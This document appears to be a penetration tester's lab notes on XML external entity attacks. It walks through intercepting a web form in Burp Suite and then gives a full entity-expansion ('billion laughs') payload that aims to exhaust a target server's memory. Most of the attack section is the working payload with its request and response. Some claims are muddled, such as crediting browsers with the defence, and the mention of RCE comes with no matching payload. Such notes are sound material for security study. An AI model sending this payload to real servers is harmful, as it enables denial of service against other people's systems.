DOS

this attack no longer works on modern web servers such as Apache as modern browsers protect against entity self-reference

#once the internal XML entities are validated - use external file entities keyword to test for local file disclosure
#find web pages that accept an XML user input
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}
 input field: 127.0.0.1
 ...
 * submit the expected user input
 
BURP > Proxy > Intercept > Raw
 Request
  ...
  POST /submitDetails.php HTTP/1.1
   <?xml version="1.0" encoding="UTF-8"?>
    <root>
     <name>First</name>
     <tel></tel>
     <email>[e-mail]</email>
     <message>This is a test email</message>
    </root>

 * forms that appears to be sending user input data in an XML format can be tested for potential XXE vulnerability
    - the target page may be vulnerable to XXE injection if the user input isn't properly sanitized or safely parsed

#identify which elements are being displayed IOT know which elements to injext malicious xml input
#if no elements are displayed, utilize blind xxe injection method
BURP > Repeater
 Request
  ...
   <?xml version="1.0" encoding="UTF-8"?>
    <root>
     <name>First</name>
     <tel></tel>
     <email>[e-mail]</email>
     <message>This is a test email</message>
    </root>
 Response
  ...
  HTTP/1.1 200 OK
   check your email [e-mail] for verification...
  
 * the email field is reflected in the response and may be vulnerable to xxe injection

#The expect module is not enabled/installed by default on modern PHP servers, so this attack may not always work

#perform test & exploit xxe vulnerability to gain rce
BURP > Repeater
 Request
  ...
  POST /submitDetails.php HTTP/1.1
   <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE email [
      <!ENTITY a0 "DOS">
      <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
      <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
      <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
      <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
      <!ENTITY a5 "&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;">
      <!ENTITY a6 "&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;">
      <!ENTITY a7 "&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;">
      <!ENTITY a8 "&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;">
      <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">        
      <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> 
    ]>
    <root>
     <name>First</name>
     <tel></tel>
     <email>&a10;</email>
     <message>This is a test email</message>
    </root>
    
 * This payload defines the a0 entity as DOS, references it in a1 
   multiple times, references a1 in a2, and so on until the back-end 
   server's memory runs out due to the self-reference loops.
    
 Response
  ...
  HTTP/1.1 200 OK
   check your email testCompany for verification...
   ...
   ...
   
 * if the XML input in the HTTP request had no DTD being declared within the XML data itself, or being referenced externally,
   DTD should be added before defining an entity; if the DOCTYPE is already declared in the XML request,
   only the ENTITY element is required